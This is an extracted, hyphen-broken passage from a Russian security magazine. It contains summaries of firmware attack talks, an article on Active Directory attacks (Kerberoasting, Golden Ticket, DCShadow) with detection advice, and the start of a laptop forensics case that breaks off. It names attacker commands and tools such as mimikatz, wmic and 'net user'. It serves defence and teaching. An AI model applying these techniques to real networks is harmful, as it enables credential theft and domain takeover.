и затем рас кры вает три сущес твен ных уяз вимос ти — с демонс тра цией соот‐ 
ветс тву ющих этим уяз вимос тям атак. Во‐пер вых, док ладчик ука зыва ет на  то,
что основная кон фигура ция безопас ности обес печива ет низ кую защиту, про‐ 
тив которой мож но раз вернуть экс пло ит, с исполь зовани ем автор ско го под‐ 
хода  «пошаго вой  холод ной  заг рузки»,  для  извле чения  кри тичес ких  дан ных
или даже про шив ки с защитой от счи тыва ния. Во‐вто рых, док ладчик опи сыва‐ 
ет  уяз вимость  дизай на  (в  хра нили ще  кон фигура ции  безопас ности),  которая
поз воля ет зло умыш ленни ку понизить уро вень защиты про шив ки, в резуль тате
чего  откры вает ся  воз можность  для  допол нитель ных  атак.  В‐треть их,  док‐ 
ладчик  демонс три рует  уяз вимость  в  интерфей се  отладки,  которая  может
спро воци ровать «сос тояние гон ки», что поз воля ет нап рямую извле кать про‐ 
шив ку с защитой от чте ния, с при мене нием ите ратив ного под хода.

Для осу щест вле ния трех опи сан ных атак дос таточ но недоро гого обо рудо‐ 
вания,  из‐за  чего  рис ки  воз никно вения  таких  угроз  уве личи вают ся  в  разы.
Ценово го барь ера для вхож дения в эту игру нет.

АВТОМАТИЧЕСКИЙ РЕВЕРСИНГ ПЕЧАТНЫХ ПЛАТ
Stephan Kleber, Henrik Ferdinand Nolscher, Frank Kargl. Automated

PCB Reverse Engineering // Proceedings of  the 11th USENIX Work-

shop on Offensive Technologies (WOOT). 2017

Ана лиз безопас ности  встро енно го  устрой ства,  о  внут ренней архи тек туре
которо го  све дения  недос тупны,  начина ется  с  ревер синга  печат ной  пла ты.
Резуль татом  такого  ревер синга  будет  спи сок  ком понен тов,  тех ничес кая
докумен тация  на  эти  ком понен ты  и  схе мати чес кая  реконс трук ция,  которая
иллюс три рует основные соеди нения меж ду ком понен тами печат ной пла ты.

Не  най дя  бюд жетных  методов  для  эффектив ного  ревер синга  печат ных
плат,  груп па  иссле дова телей  пред ложила  новый  фрей мворк,  который  фор‐ 
мализу ет и авто мати зиру ет боль шинс тво дей ствий, необ ходимых при ревер‐ 
синге  печат ных  плат.  Этот  фрей мворк  авто мати чес ки  обна ружи вает  ком‐ 
понен ты  (при  помощи  машин ного  зре ния),  собира ет  тех ничес кую  докумен‐ 
тацию  из  интерне та  и  ана лизи рует  тех ничес кие  докумен ты  для  извле чения
све дений,  отно сящих ся  к  безопас ности.  Исполь зуя  сег мента цию  изоб‐ 
ражений,  иссле дова тели  добились  того,  что  их  фрей мворк  обна ружи вает
более 65% ком понен тов печат ной пла ты.

Кро ме  того,  на  85%  уда лось  сок ратить  количес тво  тре буемых  перетас‐ 
киваний мышью  (при  иден тифика ции  нес коль ких  экзем пля ров  ком понен тов,
которые  не  уда лось  обна ружить  авто мати чес ки  этим  соф том).  Так же  раз‐ 
работа на эффектив ная сис тема абс тра гиро вания, бла года ря которой из тех‐ 
ничес кой докумен тации получа ется с высокой точ ностью отсе ивать ненуж ную
информа цию.  Кро ме  того,  пред став ленный  фрей мворк  хра нит  извле чен ную
информа цию струк туриро ван ным обра зом, что помога ет ана лити ку избе жать
путани цы и оши бок.

Вся получен ная информа ция ком фор тно раз меща ется в базе дан ных, что
облегча ет  обмен  информа цией  меж ду  незави симы ми  ана лити ками,  коман‐ 
дами  или  кли ента ми.  Сог ласись,  сто ящая  вещь  для  хар двар ного  хакера,
с которой точ но сто ит поз накомить ся поб лиже.

ВЗЛОМ СОВРЕМЕННОЙ ОСЕВОЙ ЗАЩИТЫ ПОСРЕДСТВОМ АТАК
НА ПРОШИВКУ
Fractured  Backbone:  Breaking Modern  OS  Defenses With  Firmware

Attacks // Black Hat. 2017

В этом док ладе пред став лены две новые тен денции.
Пер вая тен денция: нарас тающая угро за атак на про шив ку, в том чис ле EFI‐

имплан ты для Mac, информа цию о которых недав но опуб ликова ла WikiLeaks
в  сво ей  гран диоз ной  под борке  Vault7.  В  док ладе  под робно  опи саны  уяз‐ 
вимос ти  сис темной  про шив ки  (в  том  чис ле  UEFI, Mac’овская  EFI,  Coreboot)
и  ата ки,  которые  экс плу ати руют  эти  уяз вимос ти.  Под черки вает ся,  что
при наличии таких серь езных изъ янов даже нович ку не сос тавит тру да внед‐ 
рить  в  про шив ку  скры тый  и  неус тра нимый  имплант.  Док ладчик  так же  пред‐ 
став ляет нес коль ко автор ских методик для обна руже ния ано малий в про шив‐ 
ке, на осно ве open source фрей мвор ка CHIPSEC.

Вто рая  тен денция:  сов ремен ные  ОС  начали  осна щать ся  более  мощ ным
механиз мом защиты соф та на осно ве тех нологии вир туали зации. Так, в Win‐
dows  10  реали зова на  VBS‐защита  (Virtualization  Based  Security  —  защита
на  осно ве  вир туали зации),  которая  обес печива ет  изо лиро ван ную  сре ду
выпол нения,  на  осно ве  гипер визора.  VBS‐защита  при меня ется  для  выпол‐ 
нения  кри тич ных  ком понен тов ОС и  для  защиты  кон фиден циаль ных  дан ных,
таких как учет ные записи для вхо да в сис тему. Док ладчик под робно объ ясня‐ 
ет,  как  пос редс твом  экс плу ата ции  уяз вимос тей  про шив ки  зло умыш ленник
может  под чинить  себе  гипер визор. Док ладчик  демонс три рует  опи сыва емую
методи ку  на  при мере  ата ки  про тив  VBS‐под систе мы  Windows  10,  в  ходе
которой уда ется извлечь учет ные записи, защищен ные механиз мом Creden‐
tial Guard.
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ВЗЛОМ

За пос ледние  четыре  года ни один Black Hat  или DEF CON
не  обо шел ся  без  док ладов  на  тему  атак  на Microsoft  Active
Directory. Учас тни ки рас ска зыва ют о новых век торах и сво их
изоб ретени ях,  но  не  забыва ют  и  о  советах,  как  мож но  их
обна ружить и пре дот вра тить. В этой статье мы рас смот рим
популяр ные спо собы атак на AD и при ведем рекомен дации,
которые помогут от них защитить ся.

ШЕСТЬ АТАК НА AD, КОТОРЫЕ НЕЛЬЗЯ НЕ ЗАМЕТИТЬ
Мно гие про изво дите ли прог рам мно го обес печения для монито рин га ИБ уже
под держи вают  в  сво их  про дук тах  раз нооб разные  тех ники  атак  зло умыш‐ 
ленни ков. Рас смот рим некото рые из них.

Pass-the-Hash
Эта  тех ника  воз можна  бла года ря  архи тек турным  осо бен ностям  про токо ла
аутен тифика ции  NTLM,  раз работан ного Microsoft  в  девянос тых  годах  прош‐ 
лого  века.  Для  того  что бы  залоги нить ся  на  уда лен ном  хос те,  исполь зует ся
хеш пароля, хра нящий ся в памяти компь юте ра, с которо го про исхо дит аутен‐ 
тифика ция. Соот ветс твен но, его отту да мож но извлечь.

Mimikatz
Для  удоб ной  экс плу ата ции  Pass‐the‐Hash  фран цуз ский  иссле дова тель  Бен‐ 
жамен Дел пи (Benjamin Delpy) в 2014 году раз работал ути литу mimikatz. Она
поз воля ет дам пить из памяти clear‐text‐пароли и NTLM‐хеши.

Brute Force
Ес ли  зло умыш ленни ку  недос таточ но  тех  учет ных  дан ных,  которые  он  извлек
с одно го хос та, он может при бег нуть к гру бой, но дей ствен ной тех нике под‐ 
бора паролей.

net user /domain
От куда  взять  сло варь  имен  поль зовате лей  для  того,  что бы  про вес ти  ата ку
Brute  Force?  Любому  чле ну  домена  дос тупно  выпол нение  коман ды 

, которая воз вра щает пол ный спи сок имен поль зовате лей
из AD.
net user /domain

Kerberoasting
Ес ли  же  в  домене  в  качес тве  про токо ла  аутен тифика ции  исполь зует ся  Ker‐
beros,  то  зло умыш ленник  может  при бег нуть  к  ата ке  Kerberoasting.  Любой
аутен тифици рован ный  в  домене  поль зователь  может  зап росить  Kerberos‐
билет для дос тупа к сер вису (Ticket Granting Service). TGS зашиф рован хешем
пароля  учет ной  записи,  от  которой  запущен  целевой  сер вис.  Зло умыш‐ 
ленник, получив  таким обра зом TGS,  теперь может рас шифро вать его, под‐ 
бирая пароль и не боясь бло киров ки, пос коль ку дела ет это офлайн. В слу чае
успе ха он получа ет пароль от ассо цииро ван ной с сер висом учет ной записи,
которая зачас тую быва ет при виле гиро ван ной.

PsExec
Пос ле  того  как  зло умыш ленник  получил  нуж ные  учет ные дан ные,  перед ним
вста ет  задача  уда лен ного  исполне ния  команд.  Для  это го  отлично  под ходит
ути лита  PsExec  из  набора  Sysinternals.  Она  хорошо  себя  зареко мен довала
как сре ди IT‐адми нис тра торов, так и сре ди ата кующих.

СЕМЬ ЗАКЛИНАНИЙ АТАКУЮЩИХ ДЛЯ ЗАХВАТА ACTIVE
DIRECTORY
Сей час  мы  перехо дим  к  семи  зак линани ям,  бла года ря  которым  ата кующие
могут получить пол ный кон троль над Active Directory. Раз делим их на четыре
ста дии:
1. Раз ведка.
2. Прод вижение по AD.
3. Экс плу ата ция.
4. Зах ват домена.

На  схе ме  мож но  уви деть  все  четыре,  а  так же  тех ники,  которые  на  них  при‐ 
меня ются. Рас смот рим каж дую деталь но.

Семь зак линаний ата кующих, раз делен ные на четыре ста дии

Ста дия 1. Раз ведка

Нач нем с раз ведки.

PowerView
Этот инс тру мент вхо дит в популяр ный PowerShell‐фрей мворк для про веде ния
тес тирова ний на про ник новение —  . Так же на него опи рает ся инс‐ 
тру мент  , стро ящий граф свя зей объ ектов внут ри AD.

PowerSploit
BloodHound

Граф свя зей объ ектов Active Directory

BloodHound сра зу пре дос тавля ет такие воз можнос ти:
най ти акка унты всех домен ных адми нис тра торов;•
най ти хос ты, на которых залоги нены домен ные адми нис тра торы;•
пос тро ить    от  хос та  ата кующе го  до  хос та  с  сес сией
домен ного адми на.

• крат чай ший  путь

Пос ледний  пункт  дает  ответ  на  воп рос,  какие  хос ты  нуж но  взло мать  ата‐ 
кующе му, что бы доб рать ся до учет ки домен ного адми на. Такой под ход силь‐ 
но сок раща ет вре мя на получе ние пол ного кон тро ля над доменом.

PowerView  отли чает  от  встро енных  ути лит  для  получе ния  дан ных  об  объ‐ 
ектах  AD  (нап ример,  )  то,  что  он  работа ет  по  про токо лу  LDAP,  а  не
SAMR. Для обна руже ния этой активнос ти подой дет событие 1644 с кон трол‐ 
лера домена. Логиро вание дан ного события вклю чает ся добав лени ем соот‐ 
ветс тву юще го зна чения в реес тре:

net.exe

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostic\
\15 Field Engineering = 5

Вклю чение логиро вания LDAP Event 1644

Со бытие 1644 с парамет рами LDAP‐зап роса

Сто ит обра тить вни мание на то, что таких событий может быть доволь но мно‐ 
го,  и  хорошей  аль тер нативой  детек ту  по  событию  будет  детект  по  тра фику,
пос коль ку  LDAP  —  это  clear‐text‐про токол,  соот ветс твен но,  все  зап росы
в тра фике отлично вид ны.

LDAP SearchRequest

Еще  одна  важ ная  осо бен ность  это го  фрей мвор ка —  он  написан  на  чис том
PowerShell  и  не  име ет  зависи мос тей.  И  здесь  для  детек тирова ния  нам
поможет  появив шаяся  в  PowerShell  вер сии  5  воз можность  рас ширен ного
ауди та. Событие 4104 показы вает  тело скрип та, в  котором мы можем поис‐ 
кать харак терные для PowerView наз вания фун кций.

SPN Scan
Эта  тех ника может  заменить  ата кующе му  запуск Nmap. Пос ле  того  как  ата‐ 
кующий разоб рался,  какие  поль зовате ли  и  груп пы  есть  внут ри  AD,  для  пол‐ 
ноты кар тины ему понадо бит ся информа ция, какие есть сер висы.

Обыч но это реша ется ска ниро вани ем пор тов ути литой Nmap. Но теперь эту
информа цию мож но получить и из AD — она там хра нит ся в виде так называ‐ 
емых SPN (Service Principal Names). SPN сос тоит из serviceclass, он уни кален
для каж дого типа сер виса, затем идет hostname в фор ме FQDN и для некото‐ 
рых сер висов — port.

При меры SPN

WWW

•Пол ный спи сок Service Principal Names

Об наружить SPN Scan так же поможет аудит событий LDAP.
Важ но отме тить,  что SPN scan име ет явное пре иму щес тво перед ска ном

Nmap: он менее шум ный. При исполь зовании Nmap тебе нуж но под клю чать ся
к каж дому узлу и отправ лять сот ни пакетов на тот диапа зон пор тов, который
ты ука зал. А для получе ния спис ка SPN нуж но отпра вить все го один зап рос.

Remote Sessions Enumeration
Важ ной  задачей  перед  ата кующим  на  эта пе  lateral  movement  ста новит ся
опре деле ние,  какой  поль зователь  на  какой машине  залоги нен.  Либо  у  него
уже  есть  учет ные  дан ные  поль зовате ля  (хеш  или  Kerberos‐тикет)  и  он  ищет
хос ты, куда мож но бес пре пятс твен но залоги нить ся. Либо он в поис ках хос та,
где есть живая сес сия домен ного адми нис тра тора.

Тог да  сра баты вает  сце нарий:  охо та →  ком про мета ция  любого  хос та →
залив mimikatz → про фит.

Для  обна руже ния  дан ной  тех ники  мож но  исполь зовать  два  события.
4624 — это успешный логон на уда лен ной сис теме с логон тай пом 3, а так же
события  дос тупа  к  сетевой  шаре  IPC$,  и  нюанс:  наз вание  пай па —  srvsvc.
Почему пайп так называ ется, мож но понять из тра фика.

В левой час ти в крас ных рам ках обра щения к SMB, затем обра щения к пай‐ 
пу —  . Вот этот пайп поз воля ет вза имо дей ство вать по спе циаль ному
про токо лу  Server  Service  Remote  Protocol.  Конеч ным  хос там  он  поз воля ет
получать  от  него  раз личную  адми нис тра тив ную  информа цию,  в  том  чис ле
сре ди зап росов есть такой, который называ ется NetSessEnum. В резуль тате
это го зап роса воз вра щает ся пол ный спи сок залоги нен ных на уда лен ной сис‐ 
теме поль зовате лей с IP и име нами поль зовате лей.

srvsvc

INFO

В  MaxPatrol  SIEM  мы  сде лали  детект  на  осно ве
связ ки этих двух событий с уче том srvsvc. И ана‐ 
логич ный  детект  по  тра фику  в  PT Network  Attack
Discovery.

Продолжение статьи →
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Ста дия 2. Прод вижение по AD

Overpass-the-Hash
Ре инкарна ция Pass‐the‐Hash. Что ата кующий может сде лать, если у него есть
NTLM‐хеш?  Он  может  про вес ти  ата ку  Pass‐the‐Hash —  но  на  нее  уже  есть
детек ты. Поэто му был най ден новый век тор — ата ка Overpass‐the‐Hash.

Про токол  Kerberos  был  раз работан  спе циаль но  для  того,  что бы  пароли
поль зовате лей  в  том  или  ином  виде  не  переда вались  по  сети.  Для  это го
на  сво ей  машине  поль зователь  хешем  сво его  пароля  шиф рует  зап рос
на  аутен тифика цию.  В  ответ  Key  Distribution  Center  (спе циаль ная  служ ба,
которая  хос тится  на  кон трол лере  домена)  выда ет  ему  билет  на  получе ние
дру гих билетов — так называ емый Ticket‐Granting Ticket (TGT). Теперь кли ент
счи тает ся  аутен тифици рован ным,  и  в  течение десяти  часов он может обра‐ 
щать ся  за  билета ми  для  дос тупа  к  дру гим  сер висам.  Соот ветс твен но,  если
ата кующий сдам пил хеш поль зовате ля, который вхо дит в доверен ную груп пу
инте ресу юще го его сер виса, нап ример ERP‐сис темы или базы дан ных, ата‐ 
кующий может выпус тить про пуск для себя и успешно авто ризо вать ся на этом
сер висе.

  Если  ата кующий  исполь зует  PowerShell‐вер сию  mimikatz
для  этой  ата ки,  то  здесь  на  помощь  при ходит  логиро вание  тела  скрип та,
потому что «Invoke‐Mimikatz» — весь ма при меча тель ная строч ка.

Как  детек тить.

Или же 4688 — событие  запус ка  про цес са  с  рас ширен ным ауди том  коман‐ 
дной стро ки. Даже если бинарь будет пере име нован, то по коман дной стро ке
мы обна ружим очень харак терную для mimikatz коман ду.

По тра фику Overpass‐the‐Hash мож но детек тить на осно ве ано малии, которая
воз ника ет в резуль тате того, что Microsoft рекомен дует для текущих доменов
исполь зовать для шиф рования authentication request AES‐256. А mimikatz, ког‐ 
да отправ ляет дан ные authentication request, шиф рует их с помощью уста рев‐ 
шего RC4.

В тра фике наб люда ется еще одно отли чие из‐за осо бен ностей mimikatz. Оно
осно вано  на  раз нице  набора  шиф ров  в  легитим ном  домене  и  том,  что
отправ ляет mimikatz.

Golden Ticket
Что  ата кующий  может  сде лать,  если  у  него  есть  хеш  пароля  спе циаль ной
учет ной записи, которая называ ется krbtgt? Ранее мы рас смат ривали слу чай,
ког да  поль зователь  мог  быть  неп ривиле гиро ван ным.  Сей час  мы  рас смат‐ 
рива ем поль зовате ля, хешем пароля которо го под писыва ются абсо лют но все
билеты на получе ние дру гих билетов (TGT). Соот ветс твен но, зло умыш ленник
боль ше не обра щает ся к Key Distribution Center, он сам у себя генери рует этот
билет,  пос коль ку  Golden  Ticket,  по  сути,  и  есть  TGT.  Затем  он  уже  может
отправ лять зап росы на аутен тифика цию на любом сер висе внут ри AD, при чем
на неог раничен ное вре мя. В ито ге он бес пре пятс твен но обра щает ся к это му
ресур су — Golden Ticket нес прос та называ ется золотым.

 Сущес тву ет событие 4768, говоря щее о том,
что  был  выдан  TGT,  и  событие  4769,  говоря щее  о  том,  что  был  выдан  сер‐ 
висный билет, который необ ходим для аутен тифика ции на каком‐то сер висе
внут ри AD.

Как детек тить по событи ям.

Здесь мы можем играть на раз нице:  так  как при ата ке Golden Ticket не зап‐ 
рашива ет  TGT  у  кон трол лера  домена  (он  генери рует  его  самос тоятель но),
а  TGS  ему  зап рашивать  необ ходимо,  то,  если  мы  обна ружи ваем  раз ницу
в получен ных TGT и TGS, можем пред положить, что про исхо дит ата ка Golden
Ticket.

INFO

В  MaxPatrol  SIEM  с  исполь зовани ем  таб личных
спис ков,  в  которых  мы  логиру ем  все  выдан ные
TGT  и  TGS,  нам  уда лось  реали зовать  такой
детект.

Ста дия 3. Экс плу ата ция

Пос ле  того  как  задача  аутен тифика ции  и  авто риза ции  на  жела емых  хос тах
решена, ата кующий может прис тупить к выпол нению задач уда лен но.

WMI Remote Execution
WMI —  встро енный механизм  для  уда лен ного  исполне ния,  он  отлично  под‐ 
ходит для задач зло умыш ленни ка. Пос ледние нес коль ко лет в трен де понятие
living  off  the  land  («жить  с  зем ли»),  что  озна чает  поль зовать ся  встро енны ми
в  Windows  механиз мами.  В  пер вую  оче редь  потому,  что  поз воля ет  мас‐ 
кировать ся под легитим ную активность.

На  скрин шоте —  исполь зование  встро енной  ути литы  wmic.  Ей  ука зыва ется
адрес  хос та,  к  которо му  нуж но  под клю чить ся,  учет ные  дан ные,  опе ратор
process call create и коман да,  которую необ ходимо выпол нить на уда лен ном
хос те.

 По связ ке событий уда лен ного логона 4624 (обра ти вни‐ 
мание на Logon ID) и событию 4688, говоря щему о запус ке про цес са с com‐
mand  line.  4688 — мож но  уви деть,  что  родитель  запус каемо го  про цес са —
WmiPrvSE.exe, спе циаль ный сер висный про цесс WMI,  который исполь зует ся
для уда лен ного адми нис три рова ния. Вид на коман да, которую мы отправ ляли
net  user  /add,  и  Logon  ID  сов пада ет  с  событи ем  4624.  Соот ветс твен но,  мы
можем совер шенно точ но ска зать, с какого хос та запуще на дан ная коман да.

Как детек тить.

Де тект  по  тра фику.  Здесь мы  явно  видим  харак терные  сло ва Win32  process
create,  а  так же  command  line,  которая  отправ ляет ся  на  запуск.  На  скрин‐ 
шоте  —  недав но  встре чен ная  нами  мал варь,  которая  рас простра нялась
в вир туаль ных сетях по прин ципу, схо жему с WannaCry,  толь ко вмес то шиф‐ 
рования фай лов она уста нав ливала май нер. Мал варь нес ла с собой mimikatz
и EthernalBlue, она дам пила учет ки, с их помощью логини лась на все те хос ты,
до которых мог ла дотянуть ся по сети. С помощью WMI она запус кала на них
PowerShell, ска чива ла PowerShell payload, который опять же содер жал в себе
mimikatz, EthernalBlue и май нер. Таким обра зом получа лась цеп ная реак ция.

Рекомен дации к ста диям 1–3
1. Слож ные  и  длин ные  (>25  сим волов)  пароли  для  сер висных  учет ных
записей.  Это  не  оста вит  зло умыш ленни ку  шан са  про вес ти  ата ку  Ker‐
beroasting, так как бру тить при дет ся очень дол го.

2. Ло гиро вание PowerShell. Поможет обна ружить исполь зование мно гих сов‐ 
ремен ных инс тру мен тов для атак на AD.

3. Пе реезд на Windows 10, Windows Server 2016. Microsoft соз дала Credential
Guard:  боль ше  не  удас тся  сдам пить  из  памяти  NTLM‐хеши  и  билеты
Kerberos.

4. Стро гое  раз гра ниче ние  ролей.  Опас но  сочетать  в  одной  роли  адми нис‐ 
тра тора AD, DC, всех сер веров и рабочих машин.

5. Двой ная сме на пароля krbtgt  (это  та самая учет ная запись,  которой под‐ 
писыва ются TGT‐билеты). Каж дый год. И пос ле ухо да адми нис тра тора AD:

ме нять нуж но дваж ды, так как хра нит ся текущий и пре дыду щий пароль;•
ме нять  каж дый  год,  а  так же  пос ле  ухо да  домен ного  адми нис тра тора.
Даже если сеть уже ском про мети рова на и зло умыш ленни ки выпус тили
Golden Ticket, изме нение пароля дела ет этот Ticket бес полез ным. И им
сно ва нуж но начинать все сна чала.

•

6. Средс тва  защиты  с  неп рерыв но  обновля ющей ся  экспертной  базой  зна‐ 
ний. Необ ходимо для обна руже ния реаль ных акту аль ных атак.

Ста дия 4. Зах ват домена

DCShadow
24 янва ря 2018 года на кон ферен ции Microsoft BlueHat в Изра иле Бен джа мен
Дел пи и Вен сан ле Ту  (Vincent Le Toux) пред ста вили новый модуль mimikatz,
который реали зует ата ку DCShadow. Суть ата ки в том, что соз дает ся под дель‐ 
ный  кон трол лер  домена,  что бы  изме нять  и  соз давать  новые  объ екты  в  AD
через  реп ликацию.  Иссле дова телям  уда лось  выделить  минималь ный  набор
Kerberos  SPN,  необ ходимых  для  про хож дения  про цес са  реп ликации,  —  их
тре бует ся  все го  лишь  два.  Кро ме  того,  они  пред ста вили  спе циаль ную фун‐ 
кцию,  которой  мож но  запус кать  реп ликацию  кон трол леров  при нуди тель но.
Авто ры  ата ки  позици они руют  ее  как  ата ку,  которая  сде лает  твой  SIEM  сле‐ 
пым. Так как под дель ный кон трол лер домена не отправ ляет события в SIEM,
это  зна чит,  что  зло умыш ленни ки  могут  тво рить  тем ные  дела  с  AD  и  SIEM
об этом не узна ет.

Схе ма  ата ки:  на  той  сис теме,  с  которой  про изво дит ся  ата ка,  необ ходимо
добавить  два SPN,  которые  нуж ны,  что бы  дру гие  домен‐кон трол леры мог ли
аутен тифици ровать ся по Kerberos для реп ликации. Пос коль ку сог ласно спе‐ 
цифи кации  кон трол лер  домена  пред став лен  в  базе  AD  объ ектом  клас са
nTDSDSA,  необ ходимо  такой  объ ект  соз дать. И  в  завер шение  выз вать  реп‐ 
ликацию с помощью фун кции DRSReplicaAdd.

 Каким обра зом DCShadow выг лядит в  тра фике. По тра‐ 
фику мы отчетли во видим добав ление нового объ екта в схе му кон фигура ции
типа домен‐кон трол лер, а затем при нуди тель ный запуск реп ликации.

Как детек тить.

Хо тя авто ры ата ки и говорят, что SIEM обна ружить ее не поможет, мы наш ли
спо соб,  как  мож но  дать  понять  служ бе  ИБ,  что  в  сети  подоз ритель ная
активность.

Бла года ря  тому  что  наша  кор реляция  зна ет  спи сок  легитим ных
домен‐кон трол леров,  она  будет  сра баты вать,  ког да  про изой дет  реп ликация
с  домен‐кон трол лера,  не  вхо дяще го  в  этот  белый  спи сок.  Соот ветс твен но,
под разде ление  ИБ  может  про вес ти  рас сле дова ние  и  уже  понять,
это легитим ный домен‐кон трол лер,  который добави ла ИТ‐служ ба, или ата ка
DCShadow.

ЗАКЛЮЧЕНИЕ
При мер DCShadow показы вает, что появ ляют ся новые век торы атак на пред‐ 
при ятия. В этом оке ане ИБ‐событий очень важ но оста вать ся на греб не вол‐ 
ны:  смот реть  даль ше  и  дви гать ся  быс тро.  Мы  в  PT  Expert  Security  Center
иссле дуем  новые  угро зы  и  раз рабаты ваем  для  них  спо собы  и  инс тру мен ты
обна руже ния. И готовы делить ся этой информа цией и даль ше. :)



КАЗНАЧЕЙСКОГО НОУТБУКА
ТАЙНА

ИСПОЛЬЗУЕМ ФОРЕНЗИКУ,
ЧТОБЫ РАСКРЫТЬ ОГРАБЛЕНИЕ

Иван Пискунов

ВЗЛОМ

Се год ня нас ждет по‐нас тояще му инте рес‐ 
ная и акту аль ная задача, а точ нее — целое
рас сле дова ние  из  серии  «куда  ушли  боль‐ 
шие  день ги»:  мы  рас смот рим  кейс  с  кор‐ 
поратив ным ноут буком на Windows 10, став‐ 
ший  жер твой  ата ки  кибер мошен ников.
А может быть, сот рудни ки ком пании прос то
прис воили  день ги,  сос лавшись  на  «злых
хакеров»? Ско ро узна ем. Впе ред, на поис‐ 
ки исти ны!

INFO

Дру гие статьи по форен зике:
•Ис кусс тво  форен зики.  Теория,  кни ги,  кур сы,
полез ные матери алы

•Ис кусс тво форен зики. Находим источни ки дан‐ 
ных, ищем и ана лизи руем арте фак ты

ПРЕДЫСТОРИЯ ИНЦИДЕНТА
Итак, перед нами ноут бук с уста нов ленной на бор ту Windows 10, который вхо‐ 
дил в кор поратив ный домен и исполь зовал ся как основная рабочая машина
сот рудни ка.  Помимо  это го,  его  мог ли  брать  в  коман диров ку,  порабо тать
домой  и  вне  основно го  офи са  (то  есть  в  наличии  VPN или  дру гие  кон некты
к кор поратив ному перимет ру).

У  поль зовате ля  по  умол чанию  отсутс тво вали  локаль ные  пра ва  адми нис‐ 
тра тора, фор сирова ны домен ные полити ки безопас ности (пароль ная полити‐ 
ка, шиф рование томов BitLocker, вклю чен встро енный фай рвол, акти виро ван
UAC),  уста нов лен AV одно го из извес тных рос сий ских  вен доров и без огра‐ 
ниче ний пре дос тавлен дос туп в интернет. Компь ютер при над лежал каз начею,
одной  из  глав ных  задач  которо го  были  сос тавле ние  и  про веде ние  финан‐ 
совых пла теж ных докумен тов (тран закций в ДБО).

Ор ганиза ция, которой при над лежал ноут бук, выяви ла у себя несан кци они‐ 
рован ное про веде ние пла тежей в ДБО одно го из под клю чен ных бан ков, при‐ 
чем  все  опе рации  были  выпол нены  от  име ни  легитим ных  поль зовате лей
(финан сового  дирек тора  и  глав ного  бух галте ра).  Круг лые  денеж ные  сум мы
переве дены  на  неиз вес тные  сче та  треть их  лиц  в  инос тран ные  бан ки.  Сис‐ 
темы  безопас ности  орга низа ции  не  зафик сирова ли  на  тот  момент  никакой
подоз ритель ной активнос ти (про мол чали IDS/IPS‐сис темы и SEIM‐кон нектор,
под клю чен ный к ERP‐модулям, AV и WAF).

Пред полага ется, что зло умыш ленни ки взло мали ноут бук уда лен но по сети
или с получе нием физичес кого дос тупа к нему либо это сго вор упол номочен‐ 
ных  лиц и мошен ничес тво,  свя зан ное с  инсай дерами. Вот  со  всем этим мы
и будем сегод ня раз бирать ся.

WARNING

Всег да  ясно  и  чет ко  осоз навай,  какое  имен но
дей ствие и для какой цели ты совер шаешь. Неп‐ 
равиль ное  исполь зование  при веден ных  в  тек сте
статьи  прог рамм  может  при вес ти  к  потере
информа ции  (арте фак тов)  или  иска жению
получен ных дан ных (кри мина лис тичес ких доказа‐ 
тель ств). Ни автор, ни редак ция не несет ответс‐ 
твен ности  за  любой  ущерб,  при чинен ный  из‐за
неп равиль ного  исполь зования  матери алов  дан‐ 
ной статьи.

Ги поте зы
Нач нем  рас путывать  этот  клу бок  событий.  Все,  что  мы  име ем  в  самом
начале,  —  это  информа ция,  опи сан ная  выше,  плюс  сам  ноут бук,  который,
пос ле  того  как обна ружи лось мошен ничес тво, был немед ленно изъ ят  у  сот‐ 
рудни ка. Гипоте зы, в прин ципе, все го две: либо это внут ренний сго вор сот‐ 
рудни ков  орга низа ции,  выс тавив ших  все  события  и  усло вия  так,  что бы
это  выг лядело  внеш ним  взло мом,  либо  это  несан кци они рован ный  дос туп
хакеров к ноут буку. В пер вом слу чае мы сде лаем акцент на поис ке арте фак‐ 
тов и, воз можно, допущен ной оплошнос ти, явно ука зыва ющих на сот рудни ка.
Во  вто ром  это  обна руже ние  арте фак тов  уда лен ного  взло ма  (отклю чение
средств защиты, исполь зование экс пло итов и вре донос ного ПО).

Сто ит  ска зать,  что  на  ноут буке  уста нов лены  средс тва  защиты,  обес‐ 
печива ющие неп лохой базовый уро вень безопас ности. Это наводит на мысль
о ком петен ции взлом щиков выше сред ней. Одна ко, как было отме чено, ноут
мог ли выносить за пре делы офи са и вклю чать вне дей ствия домена, где кор‐ 
поратив ные средс тва защиты не работа ют. Таким обра зом, мы получа ем рис‐ 
ки  физичес кого  дос тупа  к  сис теме  и  воз можность  снять  дамп  всех  дан ных
на жес тком дис ке  (вклю чая  сох ранен ные  пароли,  клю чи  в  реес тре  и  подоб‐ 
ное), «переза лить» ОС и сте реть сле ды прес тупле ния.

Уяз вимые мес та и поиск сце нария взло ма
Преж де  чем  мы  прис тупим  к  форен зик‐про цеду рам,  еще  нес коль ко  ссы лок
на  инте рес ные  матери алы,  которые  дадут  тебе  пищу  для  раз мышле ния
и могут натол кнуть на «воз можные сце нарии» взло ма:
1. «

», а так же новос ти о небезо пас ности BitLocker’а  , 
и  .

Изу чаем  и  вскры ваем  BitLocker.  Как  устро ена  защита  дис ков  Windows
и как ее взло мать тут тут
тут

2. « »,
а так же  .
FUCK UAC! 10 спо собов обхо да сис темы User Account Control в Windows

но вос ти о взло ме UAC
3. « », а так‐ 
же  .
Инъ екция по‐чер ному. Обхо дим анти виру сы при помощи Shellter
об ход с помощью Veil

4. Воз можность 
,  ,  а  так же 

,   и  .

взло ма  уда лен ного  под клю чения  RDP  с  помощью  Pass‐in‐
the‐Hash еще один вари ант с Metasploit но вость о  готовом экс‐ 
пло ите ути лита fuzzbunch гайд по ней

5. За нима тель ные гай ды по соз данию   и  .PowerShell Payload Metasploit Payload
6. От четы  оте чес твен ного  ресер чера  —  ком пании  Positive  Technology  —
о (без)опас ности сис тем дис танци онно го бан ков ско го обслу жива ния: «

», « », « ».
Ки‐ 

бер безопас ность 2018 Ата ки на бан ки Но вые ата ки на бан ки

ПОДГОТОВКА ЛАБОРАТОРИИ
Ус ловно все опе рации по обна руже нию и извле чению арте фак тов, оставших‐ 
ся  пос ле  взло ма,  мож но  раз делить  на  два  боль ших  типа.  Это 

  —  про цес сы  в  RAM,  сетевые  кон некты
во внеш ний мир и так далее и   — это HDD
и  съем ные  носите ли,  скры тые  и  уда лен ные  фай лы, 

,  инстал лирован ное ПО, про пат ченные сис темные биб лиоте ки и про‐ 
чее.

дей ствия

с  «энер гозави симой  памятью»

ра бота с «энер гонеза виси мой»

